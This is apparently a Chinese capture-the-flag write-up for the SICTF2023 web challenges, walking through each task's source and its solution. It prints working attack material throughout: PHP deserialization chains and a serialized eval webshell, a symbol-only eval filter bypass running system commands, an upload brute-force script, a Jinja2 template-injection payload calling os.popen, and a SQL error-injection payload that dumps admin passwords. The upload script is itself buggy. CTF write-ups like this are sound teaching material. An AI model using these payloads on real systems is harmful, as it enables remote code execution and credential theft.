兔年大吉
源码如下
<?php highlight_file(__FILE__); error_reporting(0); class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } public function __call($name, $arguments) { call_user_func($this->cmd, $this->content); } public function __wakeup() { die("Wishes can be fulfilled"); } } class Nevv{ private $happiness; public function __invoke() { return $this->happiness->check(); } } class Rabbit{ private $aspiration; public function __set($name,$val){ return $this->aspiration->family; } } class Year{ public $key; public $rabbit; public function __construct($key) { $this->key = $key; } public function firecrackers() { return $this->rabbit->wish = "allkill QAQ"; } public function __get($name) { $name = $this->rabbit; $name(); } public function __destruct() { if ($this->key == "happy new year") { $this->firecrackers(); }else{ print("Welcome 2023!!!!!"); } } } if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); }else { echo "过新年啊~过个吉祥年~"; } ?>
挺基础的一个反序列化,先找pop链:
Year::destruct -> Year::firecrackers() -> Rabbit::set-> Year::get-> Nevv::invoke -> Happy::call 简单写一下代码:<?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class Nevv{ private $happiness; public function __construct($tmp) { $this->happiness = $tmp; } } class Rabbit{ private $aspiration; public function __construct($tmp) { $this->aspiration = $tmp; } } class Year{ public $key = "happy new year"; public $rabbit; } $year = new Year; $year2 = new Year; $rabbit = new rabbit($year2); $year->rabbit = $rabbit; $happy = new Happy("system", "ls"); $nevv = new Nevv($happy); $year2->rabbit = $nevv; echo urlencode(serialize($year)); ?>
直接打就行了
ezbypass
源码如下:
<?php error_reporting(0); highlight_file(__FILE__); if (isset($_POST['code'])) { $code = $_POST['code']; if (strlen($code) <= 105){ if (is_string($code)) { if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){ eval($code); } else { echo "Hacked!"; } } else { echo "You need to pass in a string"; } } else { echo "long?"; } }
可以看到该过滤的都过滤了,而且payload长度限制了105,这样我们可以想到利用php的自增特性来构造攻击代码
code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /f*
这里解释一下,(_/_) 的输出为NaN,再拼接一个_就可以名正言顺的成为一个字符串,然后我们就可以取"N"通过++来构造出POST
其实这段payload还可以更短,有兴趣的读者可以自行研究 ,最终我们得到的是$_POST[_]($_POST[__]),这样就可以命令执行了。
ezupload 源码如下:
<?php @error_reporting(0); date_default_timezone_set('America/Los_Angeles'); highlight_file(__FILE__); if (isset($_POST['submit'])){ $file_name = trim($_FILES['upload_file']['name']); $black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); if (!in_array($file_ext, $black)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } }else { $msg = '你传啥玩意??'; } } if($is_upload){ echo '呀,(传)进去了欸~'; } ?>
纸老虎,.php都没限制,就是date加随机数改了个文件名,我们可以在本地搭个一样的来得到文件名,然后往后爆破就能得到上传路径的文件了
这里注意手速一定要快,要不然要多爆破好久,检验代码如下:
import requests url = 'http://095468b8-416d-4ea2-9f71-cb0cb7ab617e.ctf.qsnctf.com:8080/upload/' for i in range('本地文件名', '比本地文件名大就行'): urls = url + str(i) + ".php" r = requests.get(url) if r.status_code == 404: continue else: print(q)
得到文件后,就是常规的getshell了。
SSTI
看页面源代码得到参数?SI,试了下{{1}},报违规字符了,说明{{是被限制了,我们利用{%print %}来绕过这个限制,这题很明显在考一系列的限制过滤
把关键的类都限制了,__class__之类的。我们这里利用jinjia2的特性['__clas''s__']来绕过这个限制,后面的我不想测试,所以都写成这个样子,payload如下:
?SI={%print config['__cla''ss__']['__in''it__']['__glo''bals__']['os']['po''pen']('cat /g*').read()%}
还是挺简单的
ezphp
开局一个登录界面,加个单引号,直接有报错,很明显报错注入,中途的测试过程我就省略了,直接上最后的payload:
admin'/**/and/**/updatexml(1,(concat(0x7e,(selselectect/**/group_concat(Password)/**/from/**/admin),0x7e)),1)#
账号密码admin:0909876qwe222
我们登录进去,随便输点东西,得到源代码:
<?php ini_set('open_basedir',"."); error_reporting(E_ALL^E_NOTICE^E_WARNING); session_start(); if($_COOKIE['admin']!=md5('adminyyds')){ header('Location:/index.php'); exit(); } echo('<h1>WelCome!ADMin!!!</h1>'); echo('this is a site test pages for admin! '); if(isset($_POST['url'])){ echo file_get_contents($_POST['url']); show_source(__FILE__); } else{ echo('<form action="/admin.php" method="POST"> url:<input value="" name="url" type="text"> </form> '); } //x9sd.php ?>
可以读文件,下面还给了hint
url=file:///var/www/html/x9sd.php
class a { protected $cmd; function __destruct() { echo $this->cmd; @eval($this->cmd); } } if(isset($_GET['username']) && isset($_GET['unserx'])){ $var = base64_decode($_GET['unserx']); if($_GET['username'] === "admin"){ echo "nonono?"; } $username = urldecode($_GET['username']); if($username === "admin"){ unserialize($var); } unserialize($var); echo("success"); }else{ echo "I need some ???"; }
有是一个反序列化,这个直接就是a了,都不用找链:
<?php class a { protected $cmd; function __construct($tmp) { $this->cmd = $tmp; } } if(isset($_GET['username']) && isset($_GET['unserx'])){ $var = base64_decode($_GET['unserx']); if($_GET['username'] === "admin"){ echo "nonono?"; } $username = urldecode($_GET['username']); if($username === "admin"){ unserialize($var); } unserialize($var); echo("success"); }else{ echo "I need some ???"; } $a = new a('eval($_POST[1]);'); echo base64_encode(serialize($a)); ?>
这样就getshell了
总结
web题不错,适合我这种新手做,这里抨击下ezmisc出题人,以后别这么出了。
标签:__,web,GET,function,SICTF2023,echo,username,wp,public From: https://www.cnblogs.com/F12-home/p/17062259.html